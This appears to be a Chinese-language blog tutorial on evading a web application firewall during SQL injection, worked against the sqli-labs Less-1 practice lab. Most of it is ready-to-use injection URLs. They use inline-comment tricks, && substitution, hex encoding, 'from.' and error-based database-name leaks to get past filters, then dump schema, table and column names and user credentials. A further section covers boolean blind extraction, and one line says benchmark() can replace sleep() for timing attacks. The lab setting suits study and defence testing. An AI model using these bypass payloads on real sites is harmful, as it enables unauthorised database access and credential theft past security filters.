前言

这里使用sqli-labs第一关字符型注入来测试

union注入测试

绕过and 1=1

先使用and 1=1and 1=2直接被拦截

这里绕过方法是使用&&(%26%26)代替and,后面是个条件,可以使用TrueFalse代替

绕过order by

之前版本绕过order by的方法很简单就是使用内联注释,如/*!order*//**//*!by*/来绕过,但是现在不行了,于是在网上看了看其它WAF绕过方式,发现order/*!60000ghtwf01*/by可以实现绕过,数字要大于50000,不然就是报错,后面随便接字母

绕过union select

尝试使用order by的绕过姿势,union/*!60000ghtwf01*/select,发现成功绕过

#绕过database()
直接查询database()会被拦截

使用database/**/()可以绕过

使用-加上任意一个不存在的函数可以报错出数据库名,比如-ghtwf01()

绕过schema_name

查询所有数据库名时,使用schema_name会被拦截,这里使用内联注释绕过

1
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata),3--+

绕过table_name

查询所有数据库名时,使用table_name会被拦截,这里使用内联注释绕过

1
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27),3--+


##绕过column_name
查询所有数据库名时,使用column_name会被拦截,这里使用内联注释绕过,and连接的时候and换为%26%26

1
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20%26%26%20table_name=0x7573657273),3--+


##绕过与from的结合查询字段内容
使用from.绕过

1
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(username,0x7e,password,0x7e)%20from.%20users),3--+

盲注

布尔盲注

查询数据库名长度

1
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20length(database/**/())=8--+


查询第一个数据库名的第一个字母,过滤了ascii(),这里使用hex()

1
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!schema_name*/)%20from%20information_schema.schemata%20limit%200,1),1,1))=69)%20--+


然后以此类推即可
查询表名的第一个字母,注意这里数据库名需要十六进制编码才行,否则会被拦截

1
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!table_name*/)%20from%20information_schema.tables%20where%20/*!table_schema*/=0x7365637572697479%20limit%200,1),1,1))=65)%20--+


查询列名的第一个字母

1
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=69)%20--+


查询字段第一个字母,限制了selectfrom结合使用from.

1
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20username%20from.%20users%20limit%200,1),1,1))=74)%20--+

时间盲注

过滤了sleep()函数,使用benchmark()函数即可,查询规则参考上面布尔盲注